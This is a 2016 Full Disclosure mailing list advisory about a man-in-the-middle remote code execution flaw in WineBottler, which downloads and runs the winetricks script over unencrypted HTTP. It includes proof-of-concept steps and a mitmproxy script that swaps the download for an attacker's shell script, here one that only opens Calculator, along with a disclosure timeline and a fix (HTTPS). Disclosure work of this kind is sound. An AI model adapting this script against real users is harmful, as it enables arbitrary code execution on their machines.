Message-ID: <C15A16F0-1346-4919-AB0F-63A1F747E1DA@kapsch.net>
Date: Mon, 17 Oct 2016 09:36:54 +0000
From: Bogner Florian <Florian.Bogner@...sch.net>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Man in the Middle Remote Code Execution Vulnerability in
 WineBottler and its Bundles

Man in the Middle Remote Code Execution Vulnerability in WineBottler and its Bundles

Metadata
===================================================
Release Date: 17-10-2016
Author: Florian Bogner // Kapsch BusinessCom AG (https://www.kapsch.net/kbc)
Affected product: WineBottler (http://winebottler.kronenberg.org/)
Affected versions: up to the still current version 1.8-rc4
Tested on: OS X El Capitan 10.11.6
CVE : product not covered
URL: https://bogner.sh/2016/10/man-in-the-middle-remote-code-execution-vulnerability-in-winebottler-and-its-bundles/
Video: https://youtu.be/nwcZIn2s6Vc
Vulnerability Status: No patch available - Developer became unresponsive after promising to fix the issue

Product Description
===================================================
WineBottler packages Windows-based programs like browsers, media-players, games or business applications snugly into Mac app-bundles.

Vulnerability Description
===================================================
Whenever WineBottler is launched it tries to update the bundled winetricks (https://github.com/Winetricks/winetricks) library. However, as this update is carried out over unencrypted HTTP an attacker with man-in-the-middle capabilities can replace the downloaded winetricks.sh shell script. As the script is also launched immediately after downloading, this is a reliable man in the middle remote code execution vulnerability.

The issue also affects all the bundles created with WineBottler. However, I think it can only be abused on their first launch. This greatly limits the attack surfe.

PoC
===================================================
1.) Setup an HTTP proxy like Burp (https://portswigger.net/burp/)
2.) Redirect all HTTP traffic to this proxy
3.) Launch WineBottler
4.) Modify the request to http://winetricks.org/winetricks so that it returns a valid shell script.
5.) Remote code execution has been gained!

The following mitmproxy (https://mitmproxy.org/index.html) script "drunken-winebottler.py" can be used to automate the attack:
from mitmproxy.models import decoded

NEWLINE = '\r\n'

def response(context, flow):
    if flow.request.url == "http://winetricks.org/winetricks" and flow.response.status_code == 301 and flow.request.method=="GET":
        flow.response.status_code=200 # overwrite 301 status code to 200

        with decoded(flow.response):  # automatically decode gzipped responses.
            flow.response.content =  "" # replace original script to launch Calculator.app
            flow.response.content += '#!/bin/sh'+NEWLINE
            flow.response.content += '/usr/bin/open /Applications/Calculator.app'

Disclosure Timeline
===================================================
29.5.2016: The issue has been discovered
30.5.2016: Tried to establish initial contact with the developer using Facebook
31.5.2016: Requested CVE number; Retried to contact developer using Facebook
1.6.2016: MITRE declined CVE: The product is not covered.
2.6.2016: Created this documentation; Sent to developer using mail
18.6.2016: Developer responded on Facebook
20.6.2016: Developer promised that Winetricks update will be switched to HTTPS. Agreed on the 29.7. for the public disclosure
25.7.2016: Tried to contact developer as no new version has been released – no success
29.7.2016: Initially agreed public disclosure date – rescheduled
31.7.2016: Tried again to contact developer – again no success.
13.8.2016: Tried a last time to get in touch with the developer – again no success
17.10.2016: Public disclosure altough unfixed: Developer unresponsive since several month

Suggested Solution
===================================================
All request should be carried out over encrypted communication channels like HTTPS. The author already mentioned (https://mike.kronenberg.org/winebottler-1-7-52/) that he is planing to do so in the future. Yet, right now there is no patch available.

The only workaround would be to block outgoing (HTTP) connections - However, whenever I tried that WineBottler stalled...


Florian Bogner | Security Solutions
ICT Technology Solutions
Telefon Mobil +43 664 628 5491 | florian.bogner@...sch.net<mailto:florian.bogner@...sch.net>

Kapsch BusinessCom AG | Wienerbergstrasse 53 | 1120 Wien | Österreich
www.kapschbusiness.com<http://www.kapschbusiness.com/> | www.kapsch.net
Firmenbuch HG Wien FN 178368g | Firmensitz Wien

<http://www.kapschbusiness.com/>
<http://www.kapsch.net/kbc/Events/EventItems/Kapsch-Security-Day-2016>[cid:image001.jpg@...0CDEE.D0D64C00]
<http://www.kapschbusiness.com/>
<http://www.kapschbusiness.com/>




The information contained in this e-mail message is privileged and confidential and is for the exclusive use of the addressee. The person who receives this message and who is not the addressee, one of his employees or an agent entitled to hand it over to the addressee, is informed that he may not use, disclose or reproduce the contents thereof, and is kindly asked to notify the sender and delete the e-mail immediately.

Download attachment "image001.jpg" of type "image/jpeg" (4184 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists